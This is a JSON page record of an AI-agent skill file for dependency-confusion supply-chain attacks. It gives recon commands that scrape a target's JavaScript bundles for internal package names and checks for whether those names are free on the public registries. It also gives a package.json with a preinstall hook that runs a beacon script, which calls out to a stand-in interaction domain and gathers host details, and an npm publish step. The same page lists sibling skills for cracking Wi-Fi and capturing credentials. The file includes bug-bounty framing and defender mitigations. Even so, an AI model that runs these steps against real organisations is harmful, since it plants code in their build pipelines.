[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7984SP9RFGF2VCJZWSQDZST":3,"skill-same:01M7984SP9RFGF2VCJZWSQDZST":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":32,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7984SP9RFGF2VCJZWSQDZST","dep-confusion",null,"Dependency confusion — publish a higher-version internal package name on public registry (npm\u002FPyPI\u002FMaven\u002FCrates) to coerce CI\u002FCD into pulling attacker code.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fsupplychain\u002Fdep-confusion\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: dep-confusion\ndescription: Dependency confusion — publish a higher-version internal package name on public registry (npm\u002FPyPI\u002FMaven\u002FCrates) to coerce CI\u002FCD into pulling attacker code.\nmetadata:\n  when_to_use: \"dependency confusion npm pypi maven internal package private registry\"\n  mitre_attack: T1195.002\n  subdomain: supplychain\n  upstream_ref: skills\u002F_corpus\u002Fpayloads\u002FDependency Confusion\u002F\n---\n\n# Dependency Confusion (Alex Birsan 2021)\n\nWhen an org uses **internal** private packages (e.g. `@target-internal\u002Futils`)\nAND a build system that searches BOTH public + private registries, an\nattacker can publish a public package w\u002F the **same name at higher version**.\nDefault resolvers pick highest version → public package runs in CI.\n\n## 1. Reconnaissance — find internal package names\n\n| Source | Pattern |\n|---|---|\n| `package.json` in public repo | `\"@target\u002Ffoo\"` scoped packages |\n| `package.json` exfiltrated from web (`\u002Fstatic\u002F`) | dependency lists |\n| Webpack bundles | leaked `package.json` strings |\n| `requirements.txt` \u002F `Pipfile` exposure | `target-internal-lib` |\n| `pom.xml` \u002F `build.gradle` | `\u003CgroupId>com.target\u003C\u002FgroupId>` |\n| Github org code search | `@scope` patterns in user\u002Forg-owned repos (sometimes accidentally public) |\n| Stack Overflow \u002F Stack Exchange | engineers asking about internal libs |\n| Sourcegraph public index | broad search across exposed orgs |\n\n```bash\n# Pull all JS bundle URLs from a target\ncurl -s \"$TARGET\" | grep -oP 'src=\"[^\"]*\\.js\"' | sort -u | while read js; do\n  curl -s \"$TARGET$js\" | grep -oE '@[a-z0-9_-]+\u002F[a-z0-9_-]+'\ndone | sort -u\n```\n\n## 2. Verify the package is private\n\n```bash\n# Check npm public\nnpm view @target\u002Finternal-utils 2>&1 | grep -E 'E404|not in this registry'\n# E404 = name available publicly → confusion candidate\n\n# PyPI\npip index versions target-internal-utils\n# \"ERROR: No matching distribution\" = name available\n\n# Maven Central via search\ncurl -s \"https:\u002F\u002Fsearch.maven.org\u002Fsolrsearch\u002Fselect?q=g:com.target+AND+a:internal-lib\" | jq\n```\n\nIf the name is taken publicly already, confusion path closed (unless\nyou can take it over — check abandoned packages w\u002F no maintainer email).\n\n## 3. Build the malicious package\n\n```bash\nmkdir attack-pkg && cd attack-pkg\n\n# package.json\ncat > package.json \u003C\u003C'EOF'\n{\n  \"name\": \"@target\u002Finternal-utils\",\n  \"version\": \"999.0.0\",\n  \"description\": \"auth-research only\",\n  \"scripts\": {\n    \"preinstall\": \"node beacon.js\"\n  }\n}\nEOF\n\n# beacon.js — DO NOT execute payload, just confirm install\ncat > beacon.js \u003C\u003C'EOF'\nconst https = require('https');\nconst os = require('os');\nconst dns = require('dns');\n\n\u002F\u002F Resolve attacker-controlled subdomain to confirm execution\n\u002F\u002F Use Burp Collaborator \u002F interactsh \u002F your own DNS server\nconst subdomain = require('crypto').randomBytes(8).toString('hex');\ndns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});\n\n\u002F\u002F Also collect basic env w\u002Fo exfil (just locally print for testing)\nconsole.log({\n  hostname: os.hostname(),\n  user: os.userInfo().username,\n  platform: os.platform(),\n  hostname_dns: dns.getServers(),\n});\nEOF\n```\n\n## 4. Publish\n\n```bash\nnpm publish --access public\n# For org scopes, may need to register the @scope first\n```\n\n## 5. Wait + observe\n\nWithin hours-days, target's CI will pull `999.0.0`. Burp Collaborator\nshows DNS hits.\n\n## 6. Programs that PAY for this\n\n- Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo\n  paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign\n- Many BB programs explicitly accept dep-confusion reports under their\n  \"supply chain\" scope\n- Bugcrowd has a \"Source Code Disclosure \u002F Supply Chain\" reward tier\n\n## 7. PoC framing (for the report)\n\nDO NOT:\n- Run any actual exploit logic\n- Exfiltrate any data\n- Steal credentials\n- Disable security\n\nDO:\n- Generate a benign DNS callback (interactsh \u002F Burp Collaborator)\n- Capture the timestamp + source IP from your callback log\n- Document the package as \"research-only\", deprecate it via npm immediately after PoC\n- Provide cleanup notes: \"package @target\u002Finternal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload\"\n\n## 8. Severity\n\n| Bug | Severity |\n|---|---|\n| Confirmed install on production build infra | Critical 10.0 |\n| Confirmed install on staging\u002Fdev | Critical 9.0 |\n| Internal package name exposed but no public install attempt | High (depends on data) |\n\n## 9. Defender\n\n- **Block public-registry fallback** for scoped packages: `.npmrc` `@target:registry=https:\u002F\u002Finternal-npm.target.com\u002F`\n- Use lockfiles + integrity hashes (`package-lock.json` w\u002F `integrity` field)\n- For PyPI: `pip install --index-url internal-pypi\u002F --extra-index-url public-pypi\u002F` is BACKWARDS — use `--index-url internal-pypi\u002F --no-index` and explicitly allowlist public packages\n- Reserve internal namespace prefixes on public registries before they're used internally\n- npm: use the `@org` scope and publish a public empty placeholder w\u002F `private` field\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FDependency Confusion\u002F`\n- Alex Birsan's original writeup: https:\u002F\u002Fmedium.com\u002F@alex.birsan\u002Fdependency-confusion-4a5d60fec610\n\n## Known exemplars\n- Alex Birsan 2021: 35+ Fortune 500 targets, $130k+ in bounties\n- Multiple H1\u002FBC programs continue to pay $3-30k for confirmed installs\n- Repeated incidents in 2022-2024 — pattern not dying\n","# Dependency Confusion (Alex Birsan 2021)\n\nWhen an org uses **internal** private packages (e.g. `@target-internal\u002Futils`)\nAND a build system that searches BOTH public + private registries, an\nattacker can publish a public package w\u002F the **same name at higher version**.\nDefault resolvers pick highest version → public package runs in CI.\n\n## 1. Reconnaissance — find internal package names\n\n| Source | Pattern |\n|---|---|\n| `package.json` in public repo | `\"@target\u002Ffoo\"` scoped packages |\n| `package.json` exfiltrated from web (`\u002Fstatic\u002F`) | dependency lists |\n| Webpack bundles | leaked `package.json` strings |\n| `requirements.txt` \u002F `Pipfile` exposure | `target-internal-lib` |\n| `pom.xml` \u002F `build.gradle` | `\u003CgroupId>com.target\u003C\u002FgroupId>` |\n| Github org code search | `@scope` patterns in user\u002Forg-owned repos (sometimes accidentally public) |\n| Stack Overflow \u002F Stack Exchange | engineers asking about internal libs |\n| Sourcegraph public index | broad search across exposed orgs |\n\n```bash\n# Pull all JS bundle URLs from a target\ncurl -s \"$TARGET\" | grep -oP 'src=\"[^\"]*\\.js\"' | sort -u | while read js; do\n  curl -s \"$TARGET$js\" | grep -oE '@[a-z0-9_-]+\u002F[a-z0-9_-]+'\ndone | sort -u\n```\n\n## 2. Verify the package is private\n\n```bash\n# Check npm public\nnpm view @target\u002Finternal-utils 2>&1 | grep -E 'E404|not in this registry'\n# E404 = name available publicly → confusion candidate\n\n# PyPI\npip index versions target-internal-utils\n# \"ERROR: No matching distribution\" = name available\n\n# Maven Central via search\ncurl -s \"https:\u002F\u002Fsearch.maven.org\u002Fsolrsearch\u002Fselect?q=g:com.target+AND+a:internal-lib\" | jq\n```\n\nIf the name is taken publicly already, confusion path closed (unless\nyou can take it over — check abandoned packages w\u002F no maintainer email).\n\n## 3. Build the malicious package\n\n```bash\nmkdir attack-pkg && cd attack-pkg\n\n# package.json\ncat > package.json \u003C\u003C'EOF'\n{\n  \"name\": \"@target\u002Finternal-utils\",\n  \"version\": \"999.0.0\",\n  \"description\": \"auth-research only\",\n  \"scripts\": {\n    \"preinstall\": \"node beacon.js\"\n  }\n}\nEOF\n\n# beacon.js — DO NOT execute payload, just confirm install\ncat > beacon.js \u003C\u003C'EOF'\nconst https = require('https');\nconst os = require('os');\nconst dns = require('dns');\n\n\u002F\u002F Resolve attacker-controlled subdomain to confirm execution\n\u002F\u002F Use Burp Collaborator \u002F interactsh \u002F your own DNS server\nconst subdomain = require('crypto').randomBytes(8).toString('hex');\ndns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});\n\n\u002F\u002F Also collect basic env w\u002Fo exfil (just locally print for testing)\nconsole.log({\n  hostname: os.hostname(),\n  user: os.userInfo().username,\n  platform: os.platform(),\n  hostname_dns: dns.getServers(),\n});\nEOF\n```\n\n## 4. Publish\n\n```bash\nnpm publish --access public\n# For org scopes, may need to register the @scope first\n```\n\n## 5. Wait + observe\n\nWithin hours-days, target's CI will pull `999.0.0`. Burp Collaborator\nshows DNS hits.\n\n## 6. Programs that PAY for this\n\n- Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo\n  paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign\n- Many BB programs explicitly accept dep-confusion reports under their\n  \"supply chain\" scope\n- Bugcrowd has a \"Source Code Disclosure \u002F Supply Chain\" reward tier\n\n## 7. PoC framing (for the report)\n\nDO NOT:\n- Run any actual exploit logic\n- Exfiltrate any data\n- Steal credentials\n- Disable security\n\nDO:\n- Generate a benign DNS callback (interactsh \u002F Burp Collaborator)\n- Capture the timestamp + source IP from your callback log\n- Document the package as \"research-only\", deprecate it via npm immediately after PoC\n- Provide cleanup notes: \"package @target\u002Finternal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload\"\n\n## 8. Severity\n\n| Bug | Severity |\n|---|---|\n| Confirmed install on production build infra | Critical 10.0 |\n| Confirmed install on staging\u002Fdev | Critical 9.0 |\n| Internal package name exposed but no public install attempt | High (depends on data) |\n\n## 9. Defender\n\n- **Block public-registry fallback** for scoped packages: `.npmrc` `@target:registry=https:\u002F\u002Finternal-npm.target.com\u002F`\n- Use lockfiles + integrity hashes (`package-lock.json` w\u002F `integrity` field)\n- For PyPI: `pip install --index-url internal-pypi\u002F --extra-index-url public-pypi\u002F` is BACKWARDS — use `--index-url internal-pypi\u002F --no-index` and explicitly allowlist public packages\n- Reserve internal namespace prefixes on public registries before they're used internally\n- npm: use the `@org` scope and publish a public empty placeholder w\u002F `private` field\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FDependency Confusion\u002F`\n- Alex Birsan's original writeup: https:\u002F\u002Fmedium.com\u002F@alex.birsan\u002Fdependency-confusion-4a5d60fec610\n\n## Known exemplars\n- Alex Birsan 2021: 35+ Fortune 500 targets, $130k+ in bounties\n- Multiple H1\u002FBC programs continue to pay $3-30k for confirmed installs\n- Repeated incidents in 2022-2024 — pattern not dying\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27,"upstream_ref":28},"supplychain","dependency confusion npm pypi maven internal package private registry","T1195.002","skills\u002F_corpus\u002Fpayloads\u002FDependency Confusion\u002F","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fsupplychain\u002Fdep-confusion",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill dep-confusion",{"tool":42,"command":43},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill dep-confusion",{"tool":45,"command":46},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill dep-confusion","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fsupplychain\u002Fdep-confusion\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]